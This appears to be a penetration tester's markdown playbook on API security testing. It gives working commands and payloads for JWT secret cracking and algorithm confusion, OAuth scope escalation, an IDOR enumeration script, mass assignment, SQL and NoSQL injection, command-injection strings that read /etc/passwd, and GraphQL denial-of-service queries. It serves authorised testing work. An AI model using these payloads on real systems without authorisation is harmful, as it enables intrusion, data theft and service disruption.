Skip to content

Latest commit

 

History

History
166 lines (125 loc) · 4.21 KB

File metadata and controls

166 lines (125 loc) · 4.21 KB

08 — API Testing

REST, GraphQL, SOAP, and the weird proprietary JSON-RPC that nobody admits to running in production.

Pre-flight

# Verify scope hosts before you spray
mkdir -p ~/engagements/$CLIENT/{logs,evidence,exports}
alias burl='curl -x http://127.0.0.1:8080 -k'

Burp config:

  • Proxy → Options → *:8080
  • Extender → JSON Beautifier, JWT4B, Autorize

Endpoint discovery

# If you have a Postman collection
jq -r '.item[].request.url.raw' collection.json > endpoints.txt

# If you don't
ffuf -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt \
     -u https://$TARGET/FUZZ \
     -H "Authorization: Bearer $TOKEN" \
     -mc 200,201,401,403,405

# Parameter discovery
arjun -u https://$TARGET/api/users \
    --headers "Authorization: Bearer $TOKEN" \
    -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

Authentication attacks

JWT

# Decode and triage
jwt_tool $JWT_TOKEN

# Weak HS256 secret
jwt_tool -cr -cd "claims_here" $JWT_TOKEN /usr/share/wordlists/rockyou.txt

# Algorithm confusion (RS256 → HS256)
# 1. Get public key: curl https://$TARGET/.well-known/jwks.json
# 2. Convert: jwt_tool -jwks jwks.json -p
# 3. Sign with HS256 using PEM as secret:
jwt_tool -S hs256 -k public.pem -I -pc sub -pv "admin" -pc role -pv "admin" $JWT_TOKEN

Token expiration / reuse

OLD_TOKEN="eyJ..."
curl -s https://$TARGET/api/profile -H "Authorization: Bearer $OLD_TOKEN" | jq .
# Expected: 401. Vulnerability: valid user data after logout.

OAuth scope escalation

curl -s -X POST https://$TARGET/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=$CODE" \
  -d "scope=admin+read+write" \
  -d "client_id=$CLIENT_ID"

Authorisation (BOLA / IDOR)

# idor_scanner.py — python3 idor_scanner.py [URL] [TOKEN] [START] [END]
import requests, sys
BASE_URL = sys.argv[1]; TOKEN = sys.argv[2]
START_ID = int(sys.argv[3]); END_ID = int(sys.argv[4])
headers = {"Authorization": f"Bearer {TOKEN}"}
for i in range(START_ID, END_ID):
    r = requests.get(f"{BASE_URL}{i}", headers=headers, timeout=5)
    if r.status_code == 200:
        print(f"[+] Accessible ID: {i} | Size: {len(r.content)}")
        with open(f"evidence/idor_{i}.json", "w") as f: f.write(r.text)

UUID predictability

uuid="550e8400-e29b-41d4-a716-446655440000"
version=${uuid:14:1}
if [ "$version" == "1" ]; then echo "UUIDv1 — time-based, predictable"; fi

Mass assignment

jq '. + {"is_admin": true, "role": "admin"}' original_body.json > modified.json
curl -X PUT https://$TARGET/api/users/123 \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d @modified.json | jq .

Injection in APIs

SQLi

sqlmap -u "https://$TARGET/api/users?id=1" \
  --headers="Authorization: Bearer $TOKEN" \
  --level=3 --risk=2 --batch

NoSQLi (MongoDB)

Replace:

{"username": "admin", "password": "pass"}

With:

{"username": {"$ne": null}, "password": {"$ne": null}}

Command injection

payloads=(";whoami" "|whoami" "$(whoami)" "`whoami`" ";cat /etc/passwd")

Technology-specific

GraphQL

# Introspection
curl -s https://$TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "query { __schema { types { name fields { name } } } }"}' | jq .

# Query depth limit (DoS)
deep='query { user { posts { author { posts { author { posts { author { name } } } } } } } }'
curl -s https://$TARGET/graphql -d "{\"query\": \"$deep\"}"

Swagger / OpenAPI abuse

curl -s https://$TARGET/swagger.json > swagger.json
jq -r '.paths | keys[]' swagger.json > api_endpoints.txt
jq '.paths | to_entries[] | select(.value | keys[] | contains("delete")) | .key' swagger.json

Rate limiting & DoS

  • Test per-IP vs per-user rate limits (swap tokens, keep IP).
  • Batch operations: POST /api/messages with 10,000 IDs.
  • GraphQL query complexity limits.

What gets missed

  • OPTIONS pre-flight doesn't prove POST is protected.
  • API versioning (/v1/, /v2/) — older versions often less secure.
  • Internal admin endpoints not in Swagger but guessable (/internal/, /admin/).
  • WebSocket upgrade messages bypass some API gateways.